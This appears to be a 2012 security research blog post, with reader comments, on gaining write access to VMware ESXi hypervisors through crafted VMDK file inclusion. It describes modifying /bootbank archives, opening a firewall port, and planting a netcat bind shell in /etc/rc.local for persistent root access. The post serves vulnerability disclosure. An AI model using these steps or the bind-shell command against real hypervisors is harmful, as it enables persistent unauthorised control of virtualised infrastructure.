VMDK Has Left the Building – Write Access

In our last series of posts regarding the VMDK file inclusion attack, we focused on read access and prerequisites for the attack, but avoided stating too much about potential write access. But as we promised to cover write access in the course of our future research, the following post will describe our latest research results.

First of all, the same prerequisites (which will be refined a little bit more later on) as for read access must be fulfilled and the same steps have to be performed in order to carry out the attack successfully. If that is the case, there are several POIs (Partitions Of Interest) on a ESXi hypervisor that are interesting to include:

/bootbank → contains several archives which build the hypervisors filesystem once they are unpacked

/altbootbank → backup of the prior version of bootbank, e.g. copied before a firmware update

/scratch → mainly log files and core dumps stored here

/vmfs/volumes/datastoreX → storage for virtual machine files

The root filesystem is stored on a ramdisk which is populated at boot time using the archives stored in the bootbank partition. As this means that there is no actual root partition (since it is generated dynamically at boot time and there is no such thing like a device descriptor for the ramdisk), this excludes the root file system from our attack tree, at least at first sight.

While trying to write to different partitions, we noticed that the writing sometimes fails. Evaluating the reason for the failure, we also noticed that this is only the case for certain partitions, such as /scratch. After monitoring the specific write process, we noticed the following errors:

Assuming that the hypervisor hard drive is not broken for exactly the cases we try to write from within a guest machine, we performed further tests (using various bash scripts and endless writing loops) and found out that this error occurs when the hypervisor and a guest machine are trying to write at the same time to the same device. Due to the fact that the hypervisor continuously writes log files to the /scratch file system and generates all kind of I/O to the /vmfs data stores (due to the running virtual machines stored on that partition), it was not possible to write to those devices in a reliable way.

Fortunately (at least from an attacker’s point of view ) the remaining partitions, /bootbank and /altbootbank, are only accessed at boot time and it is hence possible to write to those partitions in a reliable way. At that point, the initially mentioned fact about the lacking root partition gets important again: As the root partition would be the first and most promising target of write access, it would most probably also be locked by the hypervisor as there might also be different files that would be written on periodically. So when we were searching for a way to write to the dynamically generated root partition, we came up with the following steps:

Include the device holding the /bootbank partition.

Write to the /bootbank partition.

Wait for the hypervisor to reboot (or perform the potential DoS attack we identified, which will be described in a future post).

Enjoy the files from the /bootbank partition being populated to the dynamically created root partition.

The last step is of particular relevance. /bootbank holds several files that contain archives of system-critical files and directories of the ESXi hypervisor. For example the /bootbank/s.v00 contains an archive of the directories and files, including parts of /etc. The hypervisor restores the particular directories (such as /etc) at startup from the files stored in /bootbank. As we are able to write files to /bootbank, it is possible to replace contents of /bootbank/s.v00 and thus contents of /etc of the hypervisor ramdisk. In order to make sure that certain files in /etc are replaced, we can access the file /bootbank/boot.cfg which holds a list of archives which get extracted at boot time. As we have all necessary information to write to the root partition of the hypervisor, these are the steps to be performed:

Obtain /bootbank archive, in this example /bootbank/s.v00, using the well-known attack vector.

Convert/extract archive: The archives in /bootbank are packed with a special version of tar which is incompatible with the GNU tar. However this vmtar version can be ported to a GNU/Linux by copying the vmtar binary and libvmlibs.so from any ESXi installation.

Modify or add files.

Repack the archive.

Deploy the modified archive to /bootbank using the write access.

Following this generic process, we were able to install a backdoor on our ESXi5 hypervisor. In a first step, we opened a port in the ESXi firewall (which has a drop-all policy) as we wanted to deploy a bind shell (even though we could have used a connect-back shell instead, but we also want to demonstrate that is possible to modify system-critical settings). The firewall is configured by xml files stored in /etc/vmware/firewall. These xml files are built as follows:

The xml format is kind of self-explanatory. Every service has a unique identifier id, and can have inbound and outbound rules. To enable the rule on system boot the enabled field has to be set to true.

Based on this schema it is easy to deploy a new firewall rule. Simply place a new xml file to /etc/vmware/firewall in the archive which will be written to the bootbank later on.

This ruleset will be applied the next time the hypervisor reboots, after overwriting one of the archives in bootbank with our altered one.

The next step is to bind a shell to the opened port. Unfortunately the netcat installed per default on the hypervisor is not capable of the “-e” option, which executes a command after an established connection. The most basic netcat bind shell just listens on a port and forwards all input to the binary specified by the -e switch:

netcat -l -p 4444 -e /bin/sh.

Luckily the netcat version of 32bit BackTrack distribution is compatible with the ESXi platform and supports the -e switch. After copying this binary to the hypervisor, we just need to make sure that the backdoor is started during the boot process by adding the following line to /etc/rc.local:

/etc/netcat –l –p 4444 –e /bin/sh &

Next time the hypervisor starts, a remote shell will listen on port 4444 with root privileges. The following steps summarize the process of fully compromising the ESXi hypervisor:

Add our bind shell port to the firewall by adding the described file to /path/to/extracted/etc/vmware/firewall

Add the netcat binary to /path/to/extracted/etc/nc

Add the above line to /path/to/extracted/etc/rc.local

Wait for the next reboot of the hypervisor (or our post on the potential DoS )

At the end of the day, this means that once attacker is able to upload VMDK files to an ESXi environment (in a way that fulfills the stated requirements), it is possible to alter the configuration of the underlying hypervisor and even to install a backdoor which grants command line access.

5 Comments for VMDK Has Left the Building – Write Access

Great post here, I was curious after your initial foray into the crafted VMDK attack, if things would actually progress.
I am curious if you have been able to run this sort of the attack on the latest version of vmware esxi, or if you have compiled a list of esxi editions that are affected by this issue.

Author comment by mluft | September 18, 2012 at 9:51 am

ionut,
thank you very much for your comment! We’re currently evaluating different versions of our attack on different ESXi versions. The basic file inclusion attack as described in our post still works on the latest version of ESXi4/5 (as of September 2012). The DoS attack (described in a post which is to be published soon) however was mitigated by a patch in March 2012.

As for the mitigation of the file inclusion attack: We were discussing potential mitigation scenarios with some of our customers affected by the vulnerability, and we actually came to the conclusion that it is not trivially to fix. So this might be an interesting topic for yet another blog post…

Thanks & stay tuned,
Matthias

Author comment by mluft | October 18, 2012 at 11:35 am

ionut,
of course we advance with our research, at least besides daily business

The attack was performed on the latest version of ESXi5, ESXi4 is also vulnerable.

Thanks & have a nice one,
Matthias

David | December 3, 2012 at 9:31 am

If I get it right, this attack could be avoided if you only import VMs using OVF?

Author comment by pturbing | December 4, 2012 at 2:57 pm

hey David, thank you for your comment.

As for this specific attack yes. And as for our
first quick look, the OVF format does not look susceptible for file
inclusion attacks.